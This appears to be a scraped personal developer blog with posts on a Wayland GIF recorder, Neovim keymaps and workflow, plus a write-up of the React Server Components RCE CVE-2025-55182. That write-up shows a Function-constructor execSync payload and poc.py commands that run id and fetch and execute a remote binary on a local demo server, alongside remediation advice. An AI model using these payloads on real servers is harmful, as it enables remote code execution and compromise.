Screen-to-GIF on Wayland has been surprisingly painful. Most tools only work on specific compositors, forcing users into awkward workarounds. wlgif solves this with a dual-backend architecture that works on ANY Wayland compositor - whether you’re running GNOME, KDE, Sway, Hyprland, or anything else.

Technical architecture:

The dual-backend system provides universal Wayland compatibility:

XDG Desktop Portal backend (universal):

Portal request via D-Bus for compositor screen access
Compositor’s native picker for source selection
PipeWire captures video stream from compositor
GStreamer encodes stream to MP4

wlroots backend (optimized for wlr-based compositors):

slurp for interactive region selection
wf-recorder captures via wlroots screencopy protocol

Backend abstraction → GIF conversion:

ffmpeg analyzes video to generate optimal 256-color palette
ffmpeg applies Floyd-Steinberg dithering for final encoding

This two-pass encoding produces significantly smaller, better-looking GIFs than naive single-pass conversion.

Development infrastructure:

Built in Rust with first-class Nix support. The real breakthrough: I reverse-engineered Ghostty’s NixOS VM approach to create declarative, reproducible integration test environments using QEMU - true infrastructure as code.

A single Nix command spins up a VM with the new wlgif derivation, automatically configures SPICE connection, sets up VM tools, and connects via virt-viewer. Code on host, test specific backends in VMs that rebuild with the updated wlgif binary. Thanks to Nix’s derivation system, only the changed components need to be rebuilt - the entire test environment is declarative and reproducible.

Big thanks to the Ghostty project for the VM testing inspiration and nix.dev for excellent NixOS VM documentation.

#Rust #Wayland #Linux #OpenSource #Nix #NixOS #DevOps #IntegrationTesting

CVE-2025-55182 (React2Shell): Remote Code Execution in React Server Components (10.0 CRITICAL)

Tue, 09 Dec 2025 00:00:00 +0000

React Server Components introduced a powerful paradigm for building web applications—server-side logic that seamlessly integrates with client-side React. Unfortunately, a critical vulnerability in how React serializes and deserializes data between client and server has exposed applications to unauthenticated remote code execution.

In this blog post, I’ll break down CVE-2025-55182 and demonstrate how an attacker can achieve arbitrary command execution on a vulnerable Next.js server.

What’s Affected

Any application using React Server Functions (commonly called Server Actions in Next.js) prior to the patch is vulnerable. This includes the majority of modern Next.js applications that use the "use server" directive.

Understanding the Vulnerability

React uses the “Flight Protocol” to serialize data passed between client and server. When you call a Server Action, your arguments are encoded into chunks that reference each other:

"0": '["$1"]'
"1": '{"name":"$2:value"}'
"2": '{"value":"hello"}'

The vulnerability lies in how React resolves these references. Prior to the patch, React didn’t verify whether a requested key actually existed on an object—it would happily traverse the prototype chain. This means an attacker could request __proto__ and access the object’s prototype, eventually reaching the Function constructor.

Once you have access to Function, you can construct and execute arbitrary JavaScript:

Function("return process.mainModule.require('child_process').execSync('whoami')")()

Why This Is Particularly Dangerous

The exploit triggers during deserialization, before the server validates which action was requested. An attacker doesn’t need to know any valid action IDs—a request with a dummy Next-Action: foo header is sufficient to trigger the vulnerability.

This is pre-authentication, pre-validation RCE.

Demonstration Environment

To demonstrate this vulnerability safely and reproducibly, I’m running a containerized environment:

Podman for container isolation
Nix for reproducible builds and dependencies
A vulnerable Next.js application with Server Actions enabled

A note on the demo setup: The container runs as root, which is explicitly not a production best practice. I’m using it here to clearly show the impact—when we achieve RCE, the id command returns uid=0(root). In a real attack scenario, running containers as non-root users provides defense-in-depth, limiting what an attacker can do post-exploitation.

The Attack

The exploit crafts a malicious payload that:

Overwrites the .then() method of a chunk with Chunk.prototype.then
Sets up a fake chunk with status: "resolved_model" to trigger initialization
Abuses the blob deserialization handler ($B prefix) as a call gadget
Points ._formData.get to the Function constructor
Injects arbitrary code via the ._prefix field

Here’s the core of the proof-of-concept:

Running this against the vulnerable server:

python3 poc.py http://localhost:3000 id | grep '^1:E' | sed 's/^1:E//' | jq -r '.digest'

Output:

uid=0(root) gid=0(root) groups=0(root)

We have root. Now let me demonstrate what an attacker could do with this access.

Downloading and Executing Arbitrary Binaries

To drive the point home, I’ll download Zig onto the compromised server, extract it, and run it—all through the vulnerability. In this demo I’m using a legitimate compiler, but this could just as easily be a cryptominer, ransomware, or any malicious binary.

Step 1: Download the tarball

python3 poc.py http://localhost:3000 "curl -L -o /tmp/zig.tar.xz https://ziglang.org/builds/zig-x86_64-linux-0.16.0-dev.1484+d0ba6642b.tar.xz"

Step 2: Extract it

python3 poc.py http://localhost:3000 "tar -xf /tmp/zig.tar.xz -C /tmp"

Step 3: Execute

python3 poc.py http://localhost:3000 "/tmp/zig-x86_64-linux-0.16.0-dev.1484+d0ba6642b/zig version"

Output:

0.16.0-dev.1484+d0ba6642b

We’ve just downloaded and executed an arbitrary binary on the server through a series of simple HTTP requests.

The Real-World Implications

In this demo, I downloaded the zig 0.16.0-dev binary. An actual attacker would use the same technique to deploy:

Reverse TCP shells — interactive access that persists beyond the HTTP request
Cryptominers — monetize compromised infrastructure immediately
Malicious packages — supply chain payloads, backdoored tools
Data exfiltration tools — dump databases, steal credentials, pivot to internal services

The attack surface is limited only by what the server can reach. Cloud metadata endpoints, internal APIs, databases—all accessible once you have code execution.

This is why running as root amplifies the damage. A non-root container user would limit some of these attacks—but the RCE itself would still be catastrophic.

Remediation

Update immediately. The fix adds a hasOwnProperty check before resolving references, preventing prototype chain traversal:

if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
 return moduleExports[metadata[NAME]];
}
return undefined;

Check the React security advisory for patched versions and further info.

Takeaways

Serialization is a minefield. Any time you’re parsing untrusted input into objects, prototype pollution is a risk.
Defense in depth matters. Run containers as non-root. Use read-only filesystems. Limit network egress. None of these prevent this CVE, but they limit blast radius.
Patch aggressively. This vulnerability is trivial to exploit and the PoC is public.

Thanks to the security researchers who discovered and responsibly disclosed this vulnerability, and to msanft for the detailed technical writeup and PoC.

Best Development Environment/Workflow

Mon, 01 Dec 2025 00:00:00 +0000

People often ask me: “What’s the best tech stack?” or “Why Neovim over VSCode?”

The truth is, there’s no universal “best” - only what works best for you.

My journey: Windows with Notepad++ → Sublime → VSCode (where I was comfortable for years) → Linux + Neovim(best decision I made).

Then the real exploration began. I’ve tried Debian-based distros, RHEL/Fedora, CentOS/Rocky, Arch, Void, OpenSUSE, BSDs, macOS, and NixOS. Window managers and DEs: i3, awesomewm, bspwm, dwm, Hyprland, niri, GNOME, KDE, Cinnamon, MATE, XFCE.

Terminal emulators? Alacritty, kitty, ghostty, Wezterm, st, foot, GNOME Terminal, Konsole, Terminator, and more. I landed on Alacritty - not because it has the most features, but because it’s minimal, patchable in Rust, and plays perfectly with tmux.

My current stack:

NixOS - reproducible, declarative system configuration
home-manager - version-controlled dotfiles and tool management
Nix Flakes - reproducible, declarative dev environments
niri - Wayland compositor that fits my workflow
Alacritty - fast, minimal, hackable terminal
tmux - session management and window splitting
fzf - fuzzy search
Neovim - custom config built from scratch for 0.11+

I recently rewrote my Neovim config using native LSP instead of Mason or lsp-config. Custom keybinds, handpicked plugins, autocmds. Every detail configured exactly how I think and work. It took weeks.

Was it worth it?

Absolutely.

When I open my editor now, I enter a flow state. Not because this stack is “objectively better” than VSCode or any other setup. It’s because every keystroke, every command, every behavior is exactly what I need. No friction. No context switching. Just code.

Can I work in other environments? Of course. But there’s a difference between working and thriving.

The hours spent experimenting weren’t wasted - they were an investment in understanding exactly how I work best. Trying 10+ terminals taught me what matters to me (patchability, minimalism, tmux compatibility). Testing countless window managers showed me how I think about screen space. Rebuilding my Neovim config from scratch forced me to understand every piece of my workflow.

Every developer’s optimal setup is different. The key is being willing to experiment until you find yours.

Boost Your Productivity With These Essential Vim Keymaps

Mon, 01 Dec 2025 00:00:00 +0000

After years of modifying my Neovim configuration, I’ve settled on a set of keymaps that I simply can’t live without. These aren’t flashy or complex but they’re practical quality-of-life (qol) improvements that fix some of Vim’s rough edges and make daily editing smoother.

Note: These keymaps are written in Lua. If you’re using Vim with vimscript, you can easily convert these using the equivalent nnoremap, inoremap, vnoremap, and xnoremap commands.

1. Move Lines Like a Pro

One of the most satisfying operations is moving lines up and down without cutting and pasting. These keymaps make it effortless:

-- Normal mode
vim.keymap.set('n', '<A-j>', "<cmd>execute 'move .+' . v:count1<cr>==", { desc = 'Move Down' })
vim.keymap.set('n', '<A-k>', "<cmd>execute 'move .-' . (v:count1 + 1)<cr>==", { desc = 'Move Up' })

-- Insert mode
vim.keymap.set('i', '<A-j>', '<esc><cmd>m .+1<cr>==gi', { desc = 'Move Down' })
vim.keymap.set('i', '<A-k>', '<esc><cmd>m .-2<cr>==gi', { desc = 'Move Up' })

-- Visual mode
vim.keymap.set('v', '<A-j>', ":<C-u>execute \"'<,'>move '>+\" . v:count1<cr>gv=gv", { desc = 'Move Down' })
vim.keymap.set('v', '<A-k>', ":<C-u>execute \"'<,'>move '<-\" . (v:count1 + 1)<cr>gv=gv", { desc = 'Move Up' })

Use Alt+j and Alt+k to move lines (or visual selections) up and down. The magic here is that it works in all three modes (normal, insert, and visual) and automatically re-indents your code. Even better, it respects counts, so 3<A-j> moves the line down three positions.

2. Clear Search Highlights Instantly

Nothing clutters your screen like lingering search highlights after you’re done searching:

vim.keymap.set('n', '<Esc>', '<cmd>nohlsearch<CR>')

Press Esc to clear search highlights without affecting anything else. It’s muscle memory that saves you from typing :noh dozens of times a day.

3. Escape Terminal Mode Sanely

Vim’s terminal mode is powerful, but getting out of it with the default <C-\><C-n> is awkward:

vim.keymap.set('t', '<Esc><Esc>', '<C-\\><C-n>', { desc = 'Exit terminal mode' })

Double Esc to exit terminal mode feels natural and consistent with other modes.

4. Paste Without Losing Your Clipboard

This one solves a problem that frustrates every Vim beginner: when you paste over a visual selection, Vim yanks the deleted text into your default register, overwriting what you wanted to paste again.

vim.keymap.set('x', '<leader>p', '"_dP')

Use <leader>p in visual mode to paste without losing your clipboard contents. It deletes the selection to the black hole register ("_) before pasting, so you can paste the same thing multiple times.

5. Copy to System Clipboard

Working with the system clipboard in Vim can be clunky. This makes it trivial:

vim.keymap.set('n', '<leader>y', '"+y')
vim.keymap.set('v', '<leader>y', '"+y')

<leader>y copies to the system clipboard (+ register) instead of Vim’s internal registers.

6. Delete Without Affecting Clipboard

Sometimes you want to delete text without storing it anywhere:

vim.keymap.set('n', '<leader>d', '"_d')
vim.keymap.set('v', '<leader>d', '"_d')

<leader>d deletes to the black hole register, keeping your clipboard intact. Perfect for removing text you don’t need to paste elsewhere.

Vim’s built-in file explorer (netrw) is surprisingly powerful once you have quick access to it:

vim.keymap.set('n', '<leader>e', ':Ex<cr>', { desc = 'Open netrw' })

<leader>e instantly opens netrw in the current window, letting you navigate your project structure without reaching for a mouse or a separate file tree plugin. It’s lightweight, always available, and surprisingly capable once you learn the basics (- to go up a directory, % to create a file, d to create a directory).

Credit Where Credit’s Due

I first fell down the Vim rabbit hole thanks to ThePrimeagen’s excellent video “0 to LSP : Neovim RC From Scratch”. If you’re building your config from scratch or looking to understand the fundamentals, it’s an invaluable resource. Many of these keymaps are inspired by patterns and principles I learned from his content and the broader Neovim community.

The beauty of Vim is that everyone’s config evolves differently based on their workflow. These keymaps work for me, but your mileage may vary. The important thing is understanding why each mapping exists so you can adapt them to your needs.

doprz

Writing a Simple yet Performant HTTP/1.1 Server in Zig 0.16

A Brief History of I/O In Zig

The Two-Layer Model

Code Explained

Concurrency and Performance

Benchmark

Why Zig

Reverse Engineering MuseScore's MuseSampler Library

Testing Environment

Initial Debugging

Ruling Out Missing Dependencies

Tracing Runtime Behavior

Reverse Engineering with Ghidra

Process Name Whitelist

Instrument Folder Validation

Reverse Engineering the Fingerprint Check

The Root Cause

The Fix

Affected Distributions

Why Fedora Works Out of the Box

See Also

Writing my first Neovim plugin

jujutsu.nvim

A Bit of Background

The Plugin

Why Build It?

Who Is This For?

Conway's Game of Life in Zig: A Weekend Project

Why Zig?

Architecture

core.zig: The Heart of the Simulation

Neighbor Counting

The Step Function

Terminal Rendering

Raw ANSI Escape Codes

Terminal Size via std.posix

Buffered I/O in Zig 0.15.1

The WASM Target

wasm.zig: The Export Layer

Zero-Copy Cell Access

Build Configuration

The React Frontend

Responsive Grid Sizing

Render Loop

Canvas Drawing

Lessons Learned

Managing Multiple Git Configurations

The Problem

The Solution: Conditional Includes

How It Works

Setting It Up

Step 1: Organize Your Repositories

Step 2: Create Separate Config Files

Step 3: Update Your Global Config

Important Notes About Pattern Matching

Trailing Slashes Matter

Case Sensitivity

Wildcards

Alternative Approach: Matching by Remote URL

Setup by Remote URL

Why This Is Useful

Combining Both Approaches

Advanced Use Cases

Different SSH Keys

URL Rewrites

Different Default Branches

Pro Tip: Editing Conditional Config Files Directly

Verifying Your Configuration

Troubleshooting

Why This Matters

Further Reading

Conclusion

wlgif - A lightweight screen recorder for Wayland that captures regions as GIFs

CVE-2025-55182 (React2Shell): Remote Code Execution in React Server Components (10.0 CRITICAL)

What’s Affected

Understanding the Vulnerability

Why This Is Particularly Dangerous

Demonstration Environment

The Attack